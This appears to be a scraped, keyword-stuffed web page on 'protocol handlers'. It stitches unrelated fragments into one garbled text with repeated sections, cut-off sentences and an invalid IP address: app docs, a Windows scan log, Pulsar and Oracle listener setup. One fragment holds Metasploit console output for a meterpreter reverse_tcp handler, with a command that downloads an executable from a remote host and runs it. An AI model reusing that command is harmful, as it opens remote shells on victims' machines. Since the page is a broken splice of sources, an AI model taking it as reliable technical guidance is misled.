Protocol handler
Author: k | 2025-04-24
Developing a Protocol Handler. The first step to implement a protocol handler is to define the protocol handler as a subclass of the URLStreamHandler class. The openConnection() method of the protocol handler creates an URLConnection object that can be used to access an URL designating the specified protocol.
MSIS7065: There are no registered protocol handlers
Of the presenter app. The call will also attempt to start the presenter app using the custom protocol handler after a delay (to give the user time to install the presenter app). There are situations in which the presenter app may not be installed before the automatic attempt to the presenter app. In these instances, the users will need to manually click on the custom protocol handler link after installing the presenter app to start it. When clicked, the link should call screenleap.startAppUsingCustomProtocolHandler(). First-time users will be prompted to confirm that they want to launch the presenter app using the custom protocol handler. Implementation Notes Due to browser limitations, it is not possible to determine if a user has successfully installed the presenter app or given permission to use the custom protocol handler. As a result, you will need to provide your users with a manual way of a) downloading the presenter app and b) starting the presenter app using the custom protocol handler. Our testing on the Screenleap site has shown that the instructions with the retry links results in the best user experience and ensures that users don’t get stuck in a dead-end during the start process. The download link is necessary to address situations where the user has installed and subsequently deleted the presenter app. We place a cookie on the user's browser after the user has successfully installed the presenter app and started a share session. On subsequent share session attempts, we do not attempt to automatically download the presenter app. Without the download link, the user who deleted the presenter app without also deleting the browser cookie would be stuck at a dead-end. The custom protocol handler link can be necessary to allow the user to start the share session. If the presenter app is not installed before the automatic attempt to start the presenter app, the user will need to use the custom protocol handler link to manually start the share session after the app installation. The above issues only affect the initial installation of the presenter app. Once the user has installed the presenter app and granted permission to use the custom protocol handler, subsequent share sessions will start quickly and without requiring any additional user interaction. The server provides mechanisms to send alert notifications to administrators when significant problems or events occur during processing, such as problems during server startup or shutdown. The PingDirectory provides several alert handler implementations, including:Error Log Alert HandlerSends administrative alerts to the configured server error logger(s).Exec Alert HandlerExecutes a specified command on the local system if an administrative alert matching the criteria for this alert handler is generated by the PingDirectory. Information about the administrative alert will be made available to the executed application as arguments provided by the command.Groovy Scripted Alert HandlerProvides alert handler implementations defined in a dynamically-loaded Groovy script that implements the ScriptedAlertHandler class defined in the Server SDK.JMX Alert HandlerSends administrative alerts to clients using the Java Management Extensions (JMX) protocol. Ping Identity uses JMX for monitoring entries and requires that the JMX connection handler be enabled.SMTP Alert HandlerSends administrative alerts to clients via email using the Simple Mail Transfer Protocol (SMTP). The server requires that one or more SMTP servers be defined in the global configuration.SNMP Alert HandlerSends administrative alerts to clients using the Simple Network Monitoring Protocol (SNMP). The server must have an SNMP agent capable of communicating via SNMP 2c.SNMP Subagent Alert HandlerSends SNMP traps to a primary agent in response to administrative alerts generated within the server.Third Party Alert HandlerProvides alert handler implementations created in third-party code using the Server SDK.Protocol Handler Failed to Launch
Tel:// protocol on Mavericks and YosemiteSince version 1.0.23 one year ago, 3CXPhone for MAC supports the tel:// protocol. But, even you don't have to configure the 3CXPhone for this, your MAC configuration may prevents 3CXPhone to handle this protocol, and there is a difference between Mavericks and Yosemite:- on Mavericks, the tel:// protocol will be handled by the most recent installed application able to handle it. Therefore, assuming you install first the 3CXPhone then a (fictional) TelApplication, the tel:// protocol will be handled by the TelApplication. If you uninstall 3CXPhone and reinstall it again, the protocol will be handled by the 3CXPhone.- on Yosemite, there is a more elegant solution. Yosemite introduced the FaceTime, Apple's phone client, which is, obviously, the default handler of the tel:// protocol. However, if you open FaceTime's Preferences/Setting dialog, on the bottom there is a combo parameter called "Default for calls". By expanding it, you will be provided a list such as "TelApplication.app/ 3CXPhone12.app/ FaceTime.app", so you can select the 3CXPhone as the default handler of the tel:// protocol.To test your settings you may open Safari with a HTML page containing a tel:// link (like in our blog/contacts) or in the address bar type, let's say, tel://1234567.NOTE1: in both Mavericks and Yosemite, is not required that 3CXPhone to be running in order to handle the protocol - the system will launch it properly.NOTE2: the number will be called on the current active account.. Developing a Protocol Handler. The first step to implement a protocol handler is to define the protocol handler as a subclass of the URLStreamHandler class. The openConnection() method of the protocol handler creates an URLConnection object that can be used to access an URL designating the specified protocol. Web Protocol Handler - A protocol handler that registers web based services as system (OS-level) handlers for given protocol schemes, e.g. mailto:, feed:, webcal: etc. Internal Handlers -Federation Issues - No protocol handlers?
- HKLM\Software\Policies\Microsoft\Internet Explorer\Restrictions presentO6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer: NoDrives = 0O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: ConsentPromptBehaviorAdmin = 0O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: ConsentPromptBehaviorUser = 3O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: EnableLUA = 0O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: PromptOnSecureDesktop = 0O7 - HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel presentO7 - HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer: NoDriveTypeAutoRun = 145O7 - HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer: NoDrives = 0O13 - gopher Prefix: missingO16 - DPF: {8AD9C840-044E-11D1-B3E9-00805F499D93} (Java Plug-in 10.45.2)O16 - DPF: {CAFEEFAC-0016-0000-0020-ABCDEFFEDCBA} (Java Plug-in 1.6.0_20)O16 - DPF: {CAFEEFAC-FFFF-FFFF-FFFF-ABCDEFFEDCBA} (Java Plug-in 10.45.2)O17 - HKLM\System\CCS\Services\Tcpip\Parameters: DhcpNameServer = 192.168.2.1O17 - HKLM\System\CCS\Services\Tcpip\Parameters\Interfaces\{EADB3171-29FF-4FC5-9D0C-C4AA17CC1EB7}: DhcpNameServer = 192.168.2.1O18:64bit: - Protocol\Handler\livecall - No CLSID value foundO18:64bit: - Protocol\Handler\ms-help - No CLSID value foundO18:64bit: - Protocol\Handler\msnim - No CLSID value foundO18:64bit: - Protocol\Handler\wlmailhtml - No CLSID value foundO18:64bit: - Protocol\Handler\wlpg - No CLSID value foundO20:64bit: - AppInit_DLLs: (C:\Windows\System32\nvinitx.dll) - C:\Windows\SysNative\nvinitx.dll (NVIDIA Corporation)O20 - AppInit_DLLs: (C:\Windows\SysWOW64\nvinit.dll) - C:\Windows\SysWOW64\nvinit.dll (NVIDIA Corporation)O20:64bit: - HKLM Winlogon: Shell - (Explorer.exe) - C:\windows\explorer.exe (Microsoft Corporation)O20:64bit: - HKLM Winlogon: UserInit - (C:\windows\system32\userinit.exe) - C:\Windows\SysNative\userinit.exe (Microsoft Corporation)O20 - HKLM Winlogon: Shell - (explorer.exe) - C:\windows\SysWow64\explorer.exe (Microsoft Corporation)O20 - HKLM Winlogon: UserInit - (C:\windows\system32\userinit.exe) - C:\Windows\SysWOW64\userinit.exe (Microsoft Corporation)O20:64bit: - Winlogon\Notify\igfxcui: DllName - (igfxdev.dll) - C:\windows\SysNative\igfxdev.dll (Intel Corporation)O21:64bit: - SSODL: WebCheck - {E6FB5E20-DE35-11CF-9C87-00AA005127ED} - No CLSID value found.O21 - SSODL: WebCheck - {E6FB5E20-DE35-11CF-9C87-00AA005127ED} - No CLSID value found.O32 - HKLM CDRom: AutoRun - 1O34 - HKLM BootExecute: (autocheck autochk *)O35:64bit: - HKLM\..comfile [open] -- "%1" %*O35:64bit: - HKLM\..exefile [open] -- "%1" %*O35 - HKLM\..comfile [open] -- "%1" %*O35 - HKLM\..exefile [open] -- "%1" %*O37:64bit: - HKLM\...com [@ = ComFile] -- "%1" %*O37:64bit: - HKLM\...exe [@ = exefile] -- "%1" %*O37 - HKLM\...com [@ = ComFile] -- "%1" %*O37 - HKLM\...exe [@ = exefile] -- "%1" %*O38 - SubSystems\\Windows: (ServerDll=winsrv:UserServerDllInitialization,3)O38 - SubSystems\\Windows: (ServerDll=winsrv:ConServerDllInitialization,2)O38 - SubSystems\\Windows: (ServerDll=sxssrv,4) ========== Files/Folders - Created Within 30 Days ========== [2013/12/20 10:40:08 | 000,000,000 | ---D | C] -- C:\Users\dondhm\AppData\Local\{1D47B500-32D1-4DEC-8B10-B1FB3EEBEA0C}[2013/12/17 07:26:03 | 000,000,000 | ---D | C] -- C:\Users\dondhm\AppData\Local\{A3809561-C78E-4BC2-B9BC-FB8A0AFBE8BC}[2013/12/17 07:25:13 | 000,000,000 | ---D | C] -- C:\ProgramData\Protexis[2013/12/16 15:28:20 | 000,000,000 | ---D | C] -- C:\Users\dondhm\AppData\Local\{ADB92451-3DDE-4F72-A18E-12F14CD58788}[2013/12/15 10:25:13 | 000,000,000 | ---D | C] -- C:\Users\dondhm\AppData\Local\{73FCD3AF-75EE-46FC-A091-ECCA82503CF2}[2013/12/14 11:12:38 | 000,000,000 | ---D | C] -- C:\Users\dondhm\AppData\Local\{0D20B50F-2985-47E6-9266-64A6836007C3}[2013/12/12 20:20:15 | 000,000,000 | ---D | C] -- C:\Users\dondhm\AppData\Local\{25904694-4B6F-456D-A58A-4F9C21ED89CC}[2013/12/12 07:31:59 | 000,000,000 | ---D | C] NotesThe AoP plugin supports only the 0-9-1 protocol with basic produce and consume functionalities, and does not include advanced features such as transactions. It is available as an open-source plugin and is only offered as a private preview feature in the Private Cloud distribution as an experimental feature. It is not available on StreamNative Cloud. Please use it with caution.AMQP on Pulsar (AoP)AoP stands for AMQP on Pulsar. AoP broker supports AMQP0-9-1 protocol, and is backed by Pulsar.AoP is implemented as a Pulsar ProtocolHandler with protocol name "amqp". ProtocolHandler is built as a nar file, and is loaded when Pulsar Broker starts.LimitationsAoP is implemented based on Pulsar features. However, the methods of using Pulsar and using AMQP are different. The following are some limitations of AoP.Currently, the AoP protocol handler supports AMQP0-9-1 protocol and only supports durable exchange and durable queue.A Vhost is backed by a namespace which can only have one bundle. You need to create a namespace in advance for the Vhost.AoP is supported on Pulsar 2.6.1 or later releases.Get startedIn this guide, you will learn how to use the Pulsar broker to serve requests from AMQP client.Download PulsarDownload Pulsar 2.6.1 binary package apache-pulsar-2.6.1-bin.tar.gz. and unzip it.Download and Build AoP PluginYou can download aop nar file from the AoP releases.To build from code, complete the following steps:Clone the project from GitHub to your local.git clone aopBuild the project.mvn clean install -DskipTestsYou can find the nar file in the following directory../amqp-impl/target/pulsar-protocol-handler-amqp-${version}.narConfigurationNameDescriptionDefaultamqpTenantAMQP on Pulsar broker tenantpublicamqpListenersAMQP service portamqp://127.0.0.1:5672amqpMaxNoOfChannelsThe maximum number of channels which can exist concurrently on a connection64amqpMaxFrameSizeThe maximum frame size on a connection4194304 (4MB)amqpHeartBeatThe default heartbeat timeout of AoP connection60 (s)amqpProxyPortThe AMQP proxy service port5682amqpProxyEnableWhether to start proxy servicefalseConfigure Pulsar broker to run AoP protocol handler as PluginAs mentioned above, AoP module is loaded with Pulsar broker. You need to add configs in Pulsar's config file, such as broker.conf or standalone.conf.Protocol handler configurationYou need to add messagingProtocols(the default value is null) and protocolHandlerDirectory (the default value is "./protocols"), in Pulsar configuration files, such as broker.conf or standalone.conf. For AoP, the value for messagingProtocols is amqp; the value for protocolHandlerDirectory is the directory of AoP nar file.The following is an example.messagingProtocols=amqpprotocolHandlerDirectory=./protocolsSet AMQP service listenersSet AMQP service listeners. Note that the hostname value in listeners is the same as Pulsar broker's advertisedAddress.The following is an example.amqpListeners=amqp://127.0.0.1:5672advertisedAddress=127.0.0.1Run Pulsar brokerWith the above configuration, you can start your Pulsar broker. For details, refer to Pulsar Get started guides.cd apache-pulsar-2.6.1bin/pulsar standaloneRun AMQP Client to verifyLog level configurationIn Pulsar log4j2.yaml config file, you can set AoP log level.The following is an example. Logger: - name: io.streamnative.pulsar.handlers.amqp level: debug additivity: false AppenderRef: - ref: ConsoleAoP configurationThere is also other configs that can be changed and placedRegistering a custom protocol handler
SecTrace Level offSecurity ON: Local OS AuthenticationSNMP OFFListener Parameter File /u01/app/11.2.0.3/grid/network/admin/listener.oraListener Log File /u01/app/grid/diag/tnslsnr/node2/listener/alert/log.xmlListening Endpoints Summary... (DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(KEY=LISTENER))) (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=10.141.21.360)(PORT=1521))) (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=10.141.21.366)(PORT=1521)))Services Summary...Service "+ASM" has 1 instance(s). Instance "+ASM2", status READY, has 1 handler(s) for this service...Service "newdb" has 1 instance(s). Instance "newdb2", status READY, has 1 handler(s) for this service...Service "newdbXDB" has 1 instance(s). Instance "newdb2", status READY, has 1 handler(s) for this service...The command completed successfullyHere, DBA can see Listner is registered with two IP addresses 10.141.21.360 is Node IP address and 10.141.21.366 is node VIP address.Local_Listener: This is a database parameter which is used to provide detail of local listener running on database node itself. In Real Application Cluster environment this has Node VIP address as value.SQL> show parameter local_listenerNAME TYPE VALUE------------------------------------ ----------- ------------------------------local_listener string (DESCRIPTION=(ADDRESS_LIST=(A DDRESS=(PROTOCOL=TCP)(HOST=10. 141.21.366)(PORT=1521))))When a new connection request is made my SCAN Listener, This address is returned to the SCAN Listener and then connection is made to database local listener. The difference between SCAN Listener and Local Listener is SCAN listener runs corosponding to SCAN VIP's while Local Listener runs with Node VIP or Node IP address.SCAN Listener can move to another database node in case of node failure but local Listener doesn't have this kind of behavior.Remote_Listener: Each database instance has this parameter set to SCAN NAME of the cluster environment. SCAN NAME in turn has one or more IP address further called SCAN VIP and each SCAN VIP has SCAN Listener running on it, so finally each database instance register itself with all SCAN Listeners running across the clusterware.SQL> show parameter remote_listenerNAME TYPE VALUE------------------------------------ ----------- ------------------------------remote_listener string orarac-scan:1521The solo purpose of remote_listener parameter is to register each database instance with all SCAN Listeners in RAC. This provide information on what services are being provided by the instance,the current load, and a recommendation on howFollina for Protocol Handlers - Splunk
Platforms and the options are verystandardized across releases and platforms. This makes cURL a good default choice for both Linux and Windowstargets. All options and server protocol types are supported by the cURL command.TFTPThe TFTP binary is useful only in edge cases because of a long list of limitations:It is a Windows feature, but it is turned off by default on Windows Vista and later.While you are likely to find it on Linux and Unix hosts, the options are not standard across releases.The TFTP binary included in many Linux systems and all Windows systems does not allow for the port to be configured,nor does it allow for the destination filename to be configured, so FETCH_SRVPORT must always be set to 69 andFETCH_WRITABLE_DIR and FETCH_FILENAME must be empty. Listening on port 69 in Framework can be problematic, so Isuggest that you use the advanced option FetchListenerBindPort to start the server on a different port and redirectthe connection with a tool like iptables to a high port.For example, if you are on a linux host with iptables, you can execute the following commands to redirect a connectionon UDP port 69 to UDP port 3069:sudo iptables -t nat -I PREROUTING -p udp --dport 69 -j REDIRECT --to-ports 3069sudo iptables -t nat -I OUTPUT -p udp -d 127.0.0.1 --dport 69 -j REDIRECT --to-ports 3069Then, you can set FetchListenerBindPort to 3069 and get the callback correctly.Because tftp is a udp-based protocol and because od the implementation of the server within Framework, each time youstart a tftp fetch handler, a new service will start: jobsJobs==== Id Name Payload Payload opts -- ---- ------- ------------ 2 Exploit: multi/handler cmd/windows/tftp/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4444msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set LPORT 4445LPORT => 4445msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > to_handler[*] Command to run on remote host: curl -so plEYxIdBQna.exe tftp://10.5.135.201:8080/test1 & start /B plEYxIdBQna.exe[*] Payload Handler Started as Job 4[*] starting tftpserver on 10.5.135.201:8080[*] Started reverse TCP handler on 10.5.135.201:4445 msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > jobsJobs==== Id Name Payload Payload opts -- ---- ------- ------------ 2 Exploit: multi/handler cmd/windows/tftp/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4444 4 Exploit: multi/handler cmd/windows/tftp/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4445msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > netstat -an | grep 8080[*] exec: netstat -an | grep 8080udp 0. Developing a Protocol Handler. The first step to implement a protocol handler is to define the protocol handler as a subclass of the URLStreamHandler class. The openConnection() method of the protocol handler creates an URLConnection object that can be used to access an URL designating the specified protocol.GitHub - northsea4/vlc-protocol: VLC Protocol Handler for
Only two nodes.SCAN VIP and SCAN Listener works as a pair when SCAN VIP fails over to other node, the corresponding SCAN listener will also be failed over to the same node. Whenever SCAN VIP fails over happens, it will always select a node with least running SCAN VIP, i.e., if SCAN VIP runs on node1, node2 and node3 of a 4-node cluster, if node3 goes down, the SCAN VIP and corresponding SCAN listener will be failed over to node4 as the other two nodes already have one SCAN VIP running on each node.Database Administrator can use below command to find SCAN Listener running on a node and SCAN VIP corresponding to it.[oracle@database ~]$ ps -ef | grep tnslsnroracle 18181 10705 0 15:07 pts/0 00:00:00 grep tnslsnrgrid 22438 1 0 Jul24 ? 00:00:39 /u01/app/11.2.0.3/grid/bin/tnslsnr LISTENER_SCAN2 -inheritgrid 25927 1 0 Jul24 ? 00:01:31 /u01/app/11.2.0.3/grid/bin/tnslsnr LISTENER -inheritgrid 29211 1 0 Jul28 ? 00:00:27 /u01/app/11.2.0.3/grid/bin/tnslsnr LISTENER_SCAN3 -inherit[oracle@database bin]$ lsnrctl status LISTENER_SCAN3LSNRCTL for Linux: Version 11.2.0.3.0 - Production on 06-AUG-2013 16:16:22Copyright (c) 1991, 2011, Oracle. All rights reserved.Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=IPC)(KEY=LISTENER_SCAN3)))STATUS of the LISTENER------------------------Alias LISTENER_SCAN3Version TNSLSNR for Linux: Version 11.2.0.3.0 - ProductionStart Date 28-JUL-2013 08:38:01Uptime 9 days 7 hr. 38 min. 21 secTrace Level offSecurity ON: Local OS AuthenticationSNMP OFFListener Parameter File /u01/app/11.2.0.3/grid/network/admin/listener.oraListener Log File /u01/app/11.2.0.3/grid/log/diag/tnslsnr/node2/listener_scan3/alert/log.xmlListening Endpoints Summary... (DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(KEY=LISTENER_SCAN3))) (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=10.191.111.57)(PORT=1521)))Services Summary...Service "newdb" has 2 instance(s). Instance "newdb1", status READY, has 1 handler(s) for this service... Instance "newdb2", status READY, has 1 handler(s) for this service...Service "newdbXDB" has 2 instance(s). Instance "newdb1", status READY, has 1 handler(s) for this service... Instance "newdb2", status READY, has 1 handler(s) for this service...The command completed successfullyFrom the above grep command DBA can see, this system has two SCAN Listener running at this moment. SCAN Listener having name LISTENER_SCAN3 is running on SCAN VIP 10.191.111.57 as shown in HOST parameterComments
Of the presenter app. The call will also attempt to start the presenter app using the custom protocol handler after a delay (to give the user time to install the presenter app). There are situations in which the presenter app may not be installed before the automatic attempt to the presenter app. In these instances, the users will need to manually click on the custom protocol handler link after installing the presenter app to start it. When clicked, the link should call screenleap.startAppUsingCustomProtocolHandler(). First-time users will be prompted to confirm that they want to launch the presenter app using the custom protocol handler. Implementation Notes Due to browser limitations, it is not possible to determine if a user has successfully installed the presenter app or given permission to use the custom protocol handler. As a result, you will need to provide your users with a manual way of a) downloading the presenter app and b) starting the presenter app using the custom protocol handler. Our testing on the Screenleap site has shown that the instructions with the retry links results in the best user experience and ensures that users don’t get stuck in a dead-end during the start process. The download link is necessary to address situations where the user has installed and subsequently deleted the presenter app. We place a cookie on the user's browser after the user has successfully installed the presenter app and started a share session. On subsequent share session attempts, we do not attempt to automatically download the presenter app. Without the download link, the user who deleted the presenter app without also deleting the browser cookie would be stuck at a dead-end. The custom protocol handler link can be necessary to allow the user to start the share session. If the presenter app is not installed before the automatic attempt to start the presenter app, the user will need to use the custom protocol handler link to manually start the share session after the app installation. The above issues only affect the initial installation of the presenter app. Once the user has installed the presenter app and granted permission to use the custom protocol handler, subsequent share sessions will start quickly and without requiring any additional user interaction.
2025-04-08The server provides mechanisms to send alert notifications to administrators when significant problems or events occur during processing, such as problems during server startup or shutdown. The PingDirectory provides several alert handler implementations, including:Error Log Alert HandlerSends administrative alerts to the configured server error logger(s).Exec Alert HandlerExecutes a specified command on the local system if an administrative alert matching the criteria for this alert handler is generated by the PingDirectory. Information about the administrative alert will be made available to the executed application as arguments provided by the command.Groovy Scripted Alert HandlerProvides alert handler implementations defined in a dynamically-loaded Groovy script that implements the ScriptedAlertHandler class defined in the Server SDK.JMX Alert HandlerSends administrative alerts to clients using the Java Management Extensions (JMX) protocol. Ping Identity uses JMX for monitoring entries and requires that the JMX connection handler be enabled.SMTP Alert HandlerSends administrative alerts to clients via email using the Simple Mail Transfer Protocol (SMTP). The server requires that one or more SMTP servers be defined in the global configuration.SNMP Alert HandlerSends administrative alerts to clients using the Simple Network Monitoring Protocol (SNMP). The server must have an SNMP agent capable of communicating via SNMP 2c.SNMP Subagent Alert HandlerSends SNMP traps to a primary agent in response to administrative alerts generated within the server.Third Party Alert HandlerProvides alert handler implementations created in third-party code using the Server SDK.
2025-04-16Tel:// protocol on Mavericks and YosemiteSince version 1.0.23 one year ago, 3CXPhone for MAC supports the tel:// protocol. But, even you don't have to configure the 3CXPhone for this, your MAC configuration may prevents 3CXPhone to handle this protocol, and there is a difference between Mavericks and Yosemite:- on Mavericks, the tel:// protocol will be handled by the most recent installed application able to handle it. Therefore, assuming you install first the 3CXPhone then a (fictional) TelApplication, the tel:// protocol will be handled by the TelApplication. If you uninstall 3CXPhone and reinstall it again, the protocol will be handled by the 3CXPhone.- on Yosemite, there is a more elegant solution. Yosemite introduced the FaceTime, Apple's phone client, which is, obviously, the default handler of the tel:// protocol. However, if you open FaceTime's Preferences/Setting dialog, on the bottom there is a combo parameter called "Default for calls". By expanding it, you will be provided a list such as "TelApplication.app/ 3CXPhone12.app/ FaceTime.app", so you can select the 3CXPhone as the default handler of the tel:// protocol.To test your settings you may open Safari with a HTML page containing a tel:// link (like in our blog/contacts) or in the address bar type, let's say, tel://1234567.NOTE1: in both Mavericks and Yosemite, is not required that 3CXPhone to be running in order to handle the protocol - the system will launch it properly.NOTE2: the number will be called on the current active account.
2025-04-15- HKLM\Software\Policies\Microsoft\Internet Explorer\Restrictions presentO6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer: NoDrives = 0O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: ConsentPromptBehaviorAdmin = 0O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: ConsentPromptBehaviorUser = 3O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: EnableLUA = 0O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: PromptOnSecureDesktop = 0O7 - HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel presentO7 - HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer: NoDriveTypeAutoRun = 145O7 - HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer: NoDrives = 0O13 - gopher Prefix: missingO16 - DPF: {8AD9C840-044E-11D1-B3E9-00805F499D93} (Java Plug-in 10.45.2)O16 - DPF: {CAFEEFAC-0016-0000-0020-ABCDEFFEDCBA} (Java Plug-in 1.6.0_20)O16 - DPF: {CAFEEFAC-FFFF-FFFF-FFFF-ABCDEFFEDCBA} (Java Plug-in 10.45.2)O17 - HKLM\System\CCS\Services\Tcpip\Parameters: DhcpNameServer = 192.168.2.1O17 - HKLM\System\CCS\Services\Tcpip\Parameters\Interfaces\{EADB3171-29FF-4FC5-9D0C-C4AA17CC1EB7}: DhcpNameServer = 192.168.2.1O18:64bit: - Protocol\Handler\livecall - No CLSID value foundO18:64bit: - Protocol\Handler\ms-help - No CLSID value foundO18:64bit: - Protocol\Handler\msnim - No CLSID value foundO18:64bit: - Protocol\Handler\wlmailhtml - No CLSID value foundO18:64bit: - Protocol\Handler\wlpg - No CLSID value foundO20:64bit: - AppInit_DLLs: (C:\Windows\System32\nvinitx.dll) - C:\Windows\SysNative\nvinitx.dll (NVIDIA Corporation)O20 - AppInit_DLLs: (C:\Windows\SysWOW64\nvinit.dll) - C:\Windows\SysWOW64\nvinit.dll (NVIDIA Corporation)O20:64bit: - HKLM Winlogon: Shell - (Explorer.exe) - C:\windows\explorer.exe (Microsoft Corporation)O20:64bit: - HKLM Winlogon: UserInit - (C:\windows\system32\userinit.exe) - C:\Windows\SysNative\userinit.exe (Microsoft Corporation)O20 - HKLM Winlogon: Shell - (explorer.exe) - C:\windows\SysWow64\explorer.exe (Microsoft Corporation)O20 - HKLM Winlogon: UserInit - (C:\windows\system32\userinit.exe) - C:\Windows\SysWOW64\userinit.exe (Microsoft Corporation)O20:64bit: - Winlogon\Notify\igfxcui: DllName - (igfxdev.dll) - C:\windows\SysNative\igfxdev.dll (Intel Corporation)O21:64bit: - SSODL: WebCheck - {E6FB5E20-DE35-11CF-9C87-00AA005127ED} - No CLSID value found.O21 - SSODL: WebCheck - {E6FB5E20-DE35-11CF-9C87-00AA005127ED} - No CLSID value found.O32 - HKLM CDRom: AutoRun - 1O34 - HKLM BootExecute: (autocheck autochk *)O35:64bit: - HKLM\..comfile [open] -- "%1" %*O35:64bit: - HKLM\..exefile [open] -- "%1" %*O35 - HKLM\..comfile [open] -- "%1" %*O35 - HKLM\..exefile [open] -- "%1" %*O37:64bit: - HKLM\...com [@ = ComFile] -- "%1" %*O37:64bit: - HKLM\...exe [@ = exefile] -- "%1" %*O37 - HKLM\...com [@ = ComFile] -- "%1" %*O37 - HKLM\...exe [@ = exefile] -- "%1" %*O38 - SubSystems\\Windows: (ServerDll=winsrv:UserServerDllInitialization,3)O38 - SubSystems\\Windows: (ServerDll=winsrv:ConServerDllInitialization,2)O38 - SubSystems\\Windows: (ServerDll=sxssrv,4) ========== Files/Folders - Created Within 30 Days ========== [2013/12/20 10:40:08 | 000,000,000 | ---D | C] -- C:\Users\dondhm\AppData\Local\{1D47B500-32D1-4DEC-8B10-B1FB3EEBEA0C}[2013/12/17 07:26:03 | 000,000,000 | ---D | C] -- C:\Users\dondhm\AppData\Local\{A3809561-C78E-4BC2-B9BC-FB8A0AFBE8BC}[2013/12/17 07:25:13 | 000,000,000 | ---D | C] -- C:\ProgramData\Protexis[2013/12/16 15:28:20 | 000,000,000 | ---D | C] -- C:\Users\dondhm\AppData\Local\{ADB92451-3DDE-4F72-A18E-12F14CD58788}[2013/12/15 10:25:13 | 000,000,000 | ---D | C] -- C:\Users\dondhm\AppData\Local\{73FCD3AF-75EE-46FC-A091-ECCA82503CF2}[2013/12/14 11:12:38 | 000,000,000 | ---D | C] -- C:\Users\dondhm\AppData\Local\{0D20B50F-2985-47E6-9266-64A6836007C3}[2013/12/12 20:20:15 | 000,000,000 | ---D | C] -- C:\Users\dondhm\AppData\Local\{25904694-4B6F-456D-A58A-4F9C21ED89CC}[2013/12/12 07:31:59 | 000,000,000 | ---D | C]
2025-04-23NotesThe AoP plugin supports only the 0-9-1 protocol with basic produce and consume functionalities, and does not include advanced features such as transactions. It is available as an open-source plugin and is only offered as a private preview feature in the Private Cloud distribution as an experimental feature. It is not available on StreamNative Cloud. Please use it with caution.AMQP on Pulsar (AoP)AoP stands for AMQP on Pulsar. AoP broker supports AMQP0-9-1 protocol, and is backed by Pulsar.AoP is implemented as a Pulsar ProtocolHandler with protocol name "amqp". ProtocolHandler is built as a nar file, and is loaded when Pulsar Broker starts.LimitationsAoP is implemented based on Pulsar features. However, the methods of using Pulsar and using AMQP are different. The following are some limitations of AoP.Currently, the AoP protocol handler supports AMQP0-9-1 protocol and only supports durable exchange and durable queue.A Vhost is backed by a namespace which can only have one bundle. You need to create a namespace in advance for the Vhost.AoP is supported on Pulsar 2.6.1 or later releases.Get startedIn this guide, you will learn how to use the Pulsar broker to serve requests from AMQP client.Download PulsarDownload Pulsar 2.6.1 binary package apache-pulsar-2.6.1-bin.tar.gz. and unzip it.Download and Build AoP PluginYou can download aop nar file from the AoP releases.To build from code, complete the following steps:Clone the project from GitHub to your local.git clone aopBuild the project.mvn clean install -DskipTestsYou can find the nar file in the following directory../amqp-impl/target/pulsar-protocol-handler-amqp-${version}.narConfigurationNameDescriptionDefaultamqpTenantAMQP on Pulsar broker tenantpublicamqpListenersAMQP service portamqp://127.0.0.1:5672amqpMaxNoOfChannelsThe maximum number of channels which can exist concurrently on a connection64amqpMaxFrameSizeThe maximum frame size on a connection4194304 (4MB)amqpHeartBeatThe default heartbeat timeout of AoP connection60 (s)amqpProxyPortThe AMQP proxy service port5682amqpProxyEnableWhether to start proxy servicefalseConfigure Pulsar broker to run AoP protocol handler as PluginAs mentioned above, AoP module is loaded with Pulsar broker. You need to add configs in Pulsar's config file, such as broker.conf or standalone.conf.Protocol handler configurationYou need to add messagingProtocols(the default value is null) and protocolHandlerDirectory (the default value is "./protocols"), in Pulsar configuration files, such as broker.conf or standalone.conf. For AoP, the value for messagingProtocols is amqp; the value for protocolHandlerDirectory is the directory of AoP nar file.The following is an example.messagingProtocols=amqpprotocolHandlerDirectory=./protocolsSet AMQP service listenersSet AMQP service listeners. Note that the hostname value in listeners is the same as Pulsar broker's advertisedAddress.The following is an example.amqpListeners=amqp://127.0.0.1:5672advertisedAddress=127.0.0.1Run Pulsar brokerWith the above configuration, you can start your Pulsar broker. For details, refer to Pulsar Get started guides.cd apache-pulsar-2.6.1bin/pulsar standaloneRun AMQP Client to verifyLog level configurationIn Pulsar log4j2.yaml config file, you can set AoP log level.The following is an example. Logger: - name: io.streamnative.pulsar.handlers.amqp level: debug additivity: false AppenderRef: - ref: ConsoleAoP configurationThere is also other configs that can be changed and placed
